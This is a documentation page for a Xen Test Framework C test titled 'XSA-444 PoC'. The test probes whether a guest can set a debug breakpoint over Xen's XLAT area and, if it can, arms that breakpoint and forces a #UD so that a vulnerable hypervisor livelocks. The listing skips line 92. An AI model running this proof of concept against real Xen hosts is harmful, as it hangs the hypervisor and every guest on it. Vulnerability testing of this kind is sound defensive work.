Xen Test Framework
main.c
Go to the documentation of this file.
1 
59 #include <xtf.h>
60 
61 const char test_title[] = "XSA-444 PoC";
62 
63 void test_main(void)
64 {
65  unsigned long xlat;
66  desc_ptr gdtr;
67  long rc;
68 
69  if ( !cpu_has_dbext )
70  return xtf_skip("Skip: DBEXT not available\n");
71 
72  sgdt(&gdtr);
73 
74  xlat = (gdtr.base & ~((1ul << PAE_L4_PT_SHIFT) - 1)) + 0x80000000ul;
75 
76  /* Try to place %dr0 over the XLAT area. */
77  rc = hypercall_set_debugreg(0, xlat);
78  switch ( rc )
79  {
80  case 0:
81  xtf_failure("Fail: Breakpoint set on XLAT area. Probably vulnerable to XSA-444\n");
82  break;
83 
84  case -EPERM:
85  return xtf_success("Success: Unable to set breakpoint on XLAT area. Probably not vulnerable to XSA-444\n");
86 
87  default:
88  return xtf_error("Error: Unexpected error from set_debugreg(): %ld\n", rc);
89  }
90 
91  /* Turn %dr0 into a 4G-wide breakpoint, which covers the GDT too. */
93 
94  /*
95  * Activate %dr0. From this point on, any reference to the GDT will
96  * trigger @#DB. However, as the hypercall is via SYSCALL, the return is
97  * via SYSRET which doesn't trigger @#DB.
98  */
99  hypercall_set_debugreg(7, DR7_SYM(0, G, RW, 64) | X86_DR7_GE);
100 
101  /*
102  * Beyond the hypercall setting up %dr7, Xen is running on borrowed time.
103  *
104  * Any interrupt or non-#DB exception will cause Xen to livelock in
105  * hypervisor context, but as long as we don't tickle any @#DB cases, we
106  * get to keep running.
107  *
108  * Force a #UD to cause Xen to livelock, if a stray interrupt hasn't done
109  * it for us already.
110  */
111  asm volatile ("1: ud2a; 2:"
112  _ASM_EXTABLE(1b, 2b));
113 
114  /*
115  * If vulnerable, Xen won't even reach here. Cross-check with rc from
116  * above to provide a definitive statement.
117  */
118  if ( rc == -EPERM )
119  return xtf_success("Success: Xen didn't livelock. Not vulnerable to XSA-444\n");
120 
121  /*
122  * If we're running, then some reasoning in the test is wrong.
123  */
124  return xtf_error("Error: Breakpoint set on XLAT but Xen didn't livelock\n");
125 }
126 
127 /*
128  * Local variables:
129  * mode: C
130  * c-file-style: "BSD"
131  * c-basic-offset: 4
132  * tab-width: 4
133  * indent-tabs-mode: nil
134  * End:
135  */
static void wrmsr(uint32_t idx, uint64_t val)
Thin wrapper around an wrmsr instruction.
Definition: msr.h:55
static void sgdt(desc_ptr *gdtr)
Definition: lib.h:347
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define MSR_DR0_ADDR_MASK
Definition: msr-index.h:68
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
#define DR7_SYM(bp,...)
Create a partial %dr7 setting for a particular breakpoint based on mnemonics.
Definition: x86-dbg-reg.h:100
#define cpu_has_dbext
Definition: cpuid.h:90
void xtf_skip(const char *fmt,...)
Report a test skip.
Definition: report.c:66
#define PAE_L4_PT_SHIFT
Definition: page-pae.h:35
#define EPERM
Definition: errno.h:15
const char test_title[]
The title of the test.
Definition: main.c:14
static long hypercall_set_debugreg(unsigned int reg, unsigned long val)
Definition: hypercall.h:80
#define X86_DR7_GE
Definition: x86-dbg-reg.h:30
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define _ASM_EXTABLE(fault, fixup)
Create an exception table entry.
Definition: extable.h:50